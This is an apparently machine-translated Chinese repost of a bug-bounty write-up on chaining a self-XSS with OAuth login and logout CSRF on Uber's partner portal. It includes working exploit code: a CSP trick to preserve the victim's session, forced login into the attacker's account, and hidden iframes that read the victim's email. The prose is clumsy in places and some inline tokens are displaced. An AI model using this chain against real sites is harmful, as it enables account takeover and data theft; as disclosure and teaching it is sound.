在Uber的合作伙伴门户网站上,驱动程序可以登录并更新其详细信息,我发现了一个非常简单的经典XSS:将其中一个配置文件字段的值更改为
<script>alert(document.domain);</script>
导致代码被执行,并弹出一个警告框。
注册后,这需要花费两分钟的时间才能找到,但现在又来了。
能够在另一个站点的上下文中执行额外的,任意的JavaScript称为跨站点脚本(我假设99%的读者都知道)。通常,你希望针对其他用户执行此操作,以便抽取会话中的cookie,提交XHR请求等。
如果您无法针对其他用户执行此操作 - 例如,代码仅针对您的帐户执行,则称为Self-XSS。
在这种情况下,它似乎是我们发现的。你的个人资料的地址部分仅向您显示(例外情况可能是内部Uber工具也显示地址,但这是另一个问题),我们无法更新其他用户的地址以强制对其执行。
我总是想着是否发送有潜力的bug(这个站点中的XSS漏洞),所以让我们试着找出一种从bug中删除“self”部分的方法。
Uber使用的OAuth非常典型:
用户访问需要登录的Uber站点,例如
partners.uber.com
用户被重定向到授权服务器,
login.uber.com
用户输入凭据
用户被重定向回代码,然后可以交换访问cookie
partners.uber.com
如果您没有从上面的屏幕截图中看到OAuth回调,
/oauth/callback?code=...
不使用推荐的参数。这在登录功能中引入了CSRF漏洞,可能会被视为重要问题。
state
此外,注销功能中存在CSRF漏洞,这实际上不属于问题。
/logout
销毁用户的会话,并执行重定向到相同的注销功能。
partner.uber.com login.uber.com
由于我们的payload仅在我们的帐户内可用,因此我们希望将用户登录到我们的帐户,而帐户又将执行payload。但是,将它们登录到我们的帐户会
破坏它们的会话,这会破坏很多错误的价值(不再可能对其帐户执行操作)。因此,让我们将这三个小问题(self-XSS和两个CSRF)联系在一起。
有关OAuth安全性的更多信息,请查看@ homakov的精彩指南。
我们的计划有三个部分:
首先,将用户退出会话,但不记录他们的会话。这可以确保我们可以将其记录回帐户
partner.uber.com login.uber.com
其次,将用户登录到我们的帐户,以便执行我们的payload
最后,记录他们回到自己的帐户,而我们的代码仍然在运行,这样我们就可以访问他们的详细资料
我们首先要发出请求
https://partners.uber.com/logout/
以便我们可以将它们记录到我们的帐户中。问题是向此端点发出requets导致302重定向到,这会破坏会话。我们无法拦截每个重定向并删除请求,因为浏览器会隐式跟踪这些。
https://login.uber.com/logout/
但是,我们可以做的一个技巧是使用内容安全策略来定义允许加载哪些源(我希望您可以看到使用旨在帮助缓解此上下文中的XSS的功能的方法)。
我们将策略设置为仅允许请求
partners.uber.com
这将阻止。
https://login.uber.com/logout/ <!-- Set content security policy to block requests to login.uber.com, so the target maintains their session --> <meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com"> <!-- Logout of partners.uber.com --> <img src="https://partners.uber.com/logout/">
这有效,如CSP违规错误消息所示:
这个比较简单。我们发出请求
https://partners.uber.com/login/
启动登录(这是必需的,否则应用程序将不接受回调)。使用CSP技巧我们阻止流程完成,然后我们自己提供(可以通过登录我们自己的帐户获得),将其登录到我们的帐户。
code
由于CSP违规触发了
onerror
事件处理程序,这将用于跳转到下一步。
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session --> <meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com"> <!-- Logout of partners.uber.com --> <img src="https://partners.uber.com/logout/" onerror="login();"> <script> //Initiate login so that we can redirect them var login = function() { var loginImg = document.createElement('img'); loginImg.src = 'https://partners.uber.com/login/'; loginImg.onerror = redir; } //Redirect them to login with our code var redir = function() { //Get the code from the URL to make it easy for testing var code = window.location.hash.slice(1); var loginImg2 = document.createElement('img'); loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code; loginImg2.onerror = function() { //Redirect to the profile page with the payload window.location = 'https://partners.uber.com/profile/'; } } </script>
这部分是将作为XSS的payload包含的代码,存储在我们的帐户中。
一旦执行此有效负载,我们就可以切换回他们的帐户。这必须在iframe中 - 我们需要能够继续运行我们的代码。
//Create the iframe to log the user out of our account and back into theirs var loginIframe = document.createElement('iframe'); loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html'); document.body.appendChild(loginIframe);
iframe的内容再次使用CSP技巧:
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session --> <meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com"> <!-- Log the user out of our partner account --> <img src="https://partners.uber.com/logout/" onerror="redir();"> <script> //Log them into partners via their session on login.uber.com var redir = function() { window.location = 'https://partners.uber.com/login/'; }; </script>
最后一部分是创建另一个 iframe,因此我们可以获取他们的一些数据。
//Wait a few seconds, then load the profile page, which is now *their* profile setTimeout(function() { var profileIframe = document.createElement('iframe'); profileIframe.setAttribute('src', 'https://partners.uber.com/profile/'); profileIframe.setAttribute('id', 'pi'); document.body.appendChild(profileIframe); //Extract their email as PoC profileIframe.onload = function() { var d = document.getElementById('pi').contentWindow.document.body.innerHTML; var matches = /value="([^"]+)" name="email"/.exec(d); alert(matches[1]); } }, 9000);
由于我们的最终iframe是从与包含我们的JS的Profile页面相同的原点加载的
X-Frame-Options
设置为not,我们可以访问其中的内容(使用)
sameorigin deny contentWindow
在结合所有步骤后,我们有以下攻击流程:
将步骤3中的有效负载添加到我们的配置文件 登录我们的帐户,但取消回调并记下未使用的参数 code 让用户访问我们从步骤2创建的文件 - 这与您对某人执行reflect-XSS的方式类似 然后,用户将被注销,并登录到我们的帐户 将执行步骤3中的payload 在隐藏的iframe中,它们将从我们的帐户中注销 在另一个隐藏的iframe中,他们将被登录到他们的帐户中 我们现在有一个iframe,在同一个来源中包含用户的会话
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.